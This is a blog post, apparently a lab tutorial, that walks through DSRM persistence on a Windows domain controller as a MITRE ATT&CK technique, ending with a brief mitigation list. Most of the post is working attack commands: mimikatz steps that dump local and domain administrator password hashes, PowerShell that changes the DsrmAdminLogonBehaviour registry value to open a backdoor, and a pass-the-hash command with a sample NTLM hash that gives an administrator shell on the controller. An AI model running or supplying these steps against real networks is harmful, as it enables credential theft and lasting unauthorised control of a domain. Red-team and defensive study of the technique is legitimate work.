In this post, we are going to discuss one more Mitre Attack Technique for Tactic ID TA0003 which is used by various of APTs & threat Actors for creating a permanent backdoor in the domain controller. We will check how to use Directory Services Restore Mode (DSRM) for conducting a persistence attacker on the Domain controller.
Table of Content
Lab Setup Requirement
What is DSRM Password
·
DSRM Persistence
·
Extract the Hashes
·
Change the DSRM Registry Key
Value
Pass the DSRM Hash
Mitigation &
Workaround Solution
Lab Setup Requirement
·
1 Domain Server 2016 &
mimikatz
·
1 Domain client & mimikatz
Note: A domain controller contains
two Administrator accounts, one “AD Administrator Account” use to login into the
domain controller that is managed by LSASS and another is hard-coded “Local
Administrator Account” stored in their SAM database.
What is DSRM Password
All domain
controllers have a hard-coded local Administrator account stored in their SAM file.
This account and local database are not used or generally available when the domain
controllers are running normally.
While Active
Directory Domain Controller is configured, the wizard prompts ask to enter a
DSRM password for the local administrator. This password provides the
administrator with a back door to the database in case something goes wrong
later.
DSRM
Persistence
DSRM persistence
is possible where the systems do not change the DSRM password after AD
installation or do not follow the standard of changing passwords regularly for
DSRM.
At Domain Controller
As per the cyber kill chain, persistence attack
is a phase that comes after the initial foothold where an attacker will strive
to create a permanent backdoor to establish a connection in the future.
Here, you can choose any of the methods to
access the domain controller atleast once, then inject the mimikatz to obtain a
password hash for a local Administrator account.
If you will observer the following image,
you will notice that I have pulled out password hashes for Local
Administration from the SAM file & AD Administrator
account by injecting LSA injection.
All
you need to do is just run the mimikatz with Administration privilege and
execute these commands given below:
privilege::debug
token::elevate
Extract local Administrator Password Hash
lsadump::sam
Extract AD Administrator Password Hash
lsadump::lsa /patch
Conclusion:
I have two different hashes for each administrator account but we password hash
for local administrator account.
Change the DSRM Registry Key Value
Once you have the local administrator
password hash you need to make some changes inside the Windows registry that
will allow you (attacker) to login into Domain Controller using DSRM hashes
without rebooting the server.
Very first confirm the registry key value
for DsrmAdminLogonBehaviour with the help of the following command:
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"
Here, it shows DsrmAdminLogonBehaviour Value=0
that will not allow login into DC using DSRM hash.
Set DsrmAdminLogonBehaviour value=2
with the help of the following command:
Set-ItemProperty
"HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -Verbose
Note: If
DsrmAdminLogonBehaviou registry key is not present inside the
HKLM:\System\CurrentControlSet\Control\Lsa\ then create a new key and set the
value with the help of the following command:
New-ItemProperty
"HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
Conclusion:
The DSRM persistence is now ready for use.
At Client System
To access the domain controller CMD through
the client system, run mimikatz with administrator privilege and execute the
following command:
privilege::debug
sekurlsa::pth /user:Administrator
/domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38
Note: Use the hash value of the local
Administrator in the above command
This will provide you (attacker) the
Administrator privilege cmd shell of the Domain controller 😊
Mitigation & Workaround Solution
·
Check & monitor the DsrmAdminLogonBehaviour
value is not set to 2 inside the Registry key.
· DSRM passwords are changed regularly at least once a month.
0 comments:
Post a Comment